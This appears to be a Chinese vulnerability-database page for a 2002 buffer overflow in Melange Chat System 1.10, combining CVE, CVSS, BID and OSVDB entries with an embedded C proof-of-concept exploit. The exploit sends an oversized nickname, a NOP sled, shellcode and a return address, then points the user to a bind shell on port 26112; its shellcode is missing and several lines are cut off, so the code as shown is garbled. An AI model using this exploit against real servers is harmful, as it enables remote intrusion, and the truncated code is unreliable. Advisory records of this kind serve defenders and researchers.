发布时间 :2002-12-24 00:00:00
修订时间 :2008-09-05 16:30:21

[原文]Buffer overflow in Melange Chat System 1.10 allows remote attackers to cause a denial of service (chat server crash) and possibly execute arbitrary code via the msgText buffer in the chat_InterpretData function, as demonstrated via a long Nick (nickname) request.


        Melange是一款Christian Walter开发的聊天服务程序。
        sprintf(msgText,"<%d-%d, 厂商补丁:

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)


- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源
(UNKNOWN)  XF  melange-msgtext-chatinterpretdata-bo(10939)
(UNKNOWN)  BID  6477
(UNKNOWN)  IDEFENSE  20021216 Melange Chat System Remote Buffer Overflow

- 漏洞信息

中危 边界条件错误
2002-12-24 00:00:00 2005-10-20 00:00:00
        Melange是一款Christian Walter开发的聊天服务程序。
        sprintf(msgText,"<%d-%d, 厂商补丁:

- 公告与补丁


- 漏洞信息 (382)

Melange Chat Server 1.10 Remote Buffer Overflow Exploit (EDBID:382)
linux remote
2002-12-24 Verified
0 innerphobia
N/A [点击下载]
   Proof of Concept for Melange Chat Server 1.10
   a lame remote bof exploit by innerphobia <> 12/24/02

   Credits go to:
   - iDefense Labs for the advisory
   - blink for discovering the bug
   - Irian for the shellcode

   With careful calculation it is *possible* to control even the EIP,
   not just one byte of EIP.
   There are to a few things that will happen if we use a wrong ret address:
   1. Seg fault / shut down.
   2. Keep on going < nothing happens >.

   Code tested on Suse 8.0 and RH 7.3
   Merry Xmas :)

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>

// magic numbers begin here
#define ADDR 0xbfffd490
#define NICKLEN 49
#define BUFFLEN 463
// magic numbers end

// brutally copied from Irian's cy.c
char evil[]=

int main(int argc,char **argv){
    int i,j=0,sock,port = 6666;
    char *host;
    char nick[NICKLEN],buff[BUFFLEN];
    struct hostent *htent;
    struct sockaddr_in serv_addr;
    long jump = ADDR;
    u_long *ptr = (u_long *)buff;

        printf("Usage : %s [hostname] [ret address in hex (0x41414141)] 

    if(argc>2) sscanf(argv[2],"0x%lx",&jump);
    if(argc>3) port=atoi(argv[3]);

    if((htent = gethostbyname(argv[1])) != NULL && (sock = 
socket(AF_INET,SOCK_STREAM,0)) != -1){

        serv_addr.sin_family = AF_INET;
        serv_addr.sin_port = htons(port);

        if(!connect(sock,(struct sockaddr *)&serv_addr,sizeof(serv_addr))){

            printf("Connected to %s at %d [0x%lx]\nTrying to send %d chars 

            memset(nick,'A',sizeof(nick)),memcpy(nick,"/NICK ",6);

            if(send(sock,nick,sizeof(nick),0) == -1)
                perror("Sending nickname failed\n"),exit(1);

            for(i=0;i<sizeof(buff);i+=4) *(ptr++)=jump;
            for(i=0;i<sizeof(buff)-200-strlen(evil);i++) buff[i]=0x90;
            for(j=0;j<strlen(evil);j++) buff[i++]=evil[j];

            printf("Trying to send overflow string\n");

            if(send(sock,buff,sizeof(buff),0) == -1)
                perror("Sending overflow failed :(\n"),exit(1);

            printf("Now try to connect to host : %s port : 26112\n",host);
        else printf("Can't connect to %s at %d\n",host,port),exit(1);

// [2002-12-24]

- 漏洞信息

Melange Chat System chat_InterpretData Function msgText Remote Overflow DoS
Remote / Network Access Denial of Service, Input Manipulation
Loss of Integrity, Loss of Availability Discontinued Product
Exploit Public

- 漏洞描述

- 时间线

2002-12-16 Unknow
Unknow Unknow

- 解决方案

The vendor has discontinued this product and therefore has no patch or upgrade that mitigates this problem. It is recommended that an alternate software package be used in its place.

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Melange Chat System msgText Remote Buffer Overflow Vulnerability
Boundary Condition Error 6477
Yes No
2002-12-24 12:00:00 2009-07-11 07:17:00
This vulnerability was reported in a iDEFENSE advisory.

- 受影响的程序版本

Melange Melange Chat System 1.10

- 漏洞讨论

A buffer overflow vulnerability has been identified for Melange Chat System 1.10. Specifically, the overflow condition occurs in the msgText buffer in the 'chat_InterpretData()' function.

Exploitation of this vulnerability may allow a remote attacker to corrupt sensitive memory and possibly execute malicious code.

- 漏洞利用

The following exploit was provided by innerphobia &lt;;:

- 解决方案

Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: <>.

- 相关参考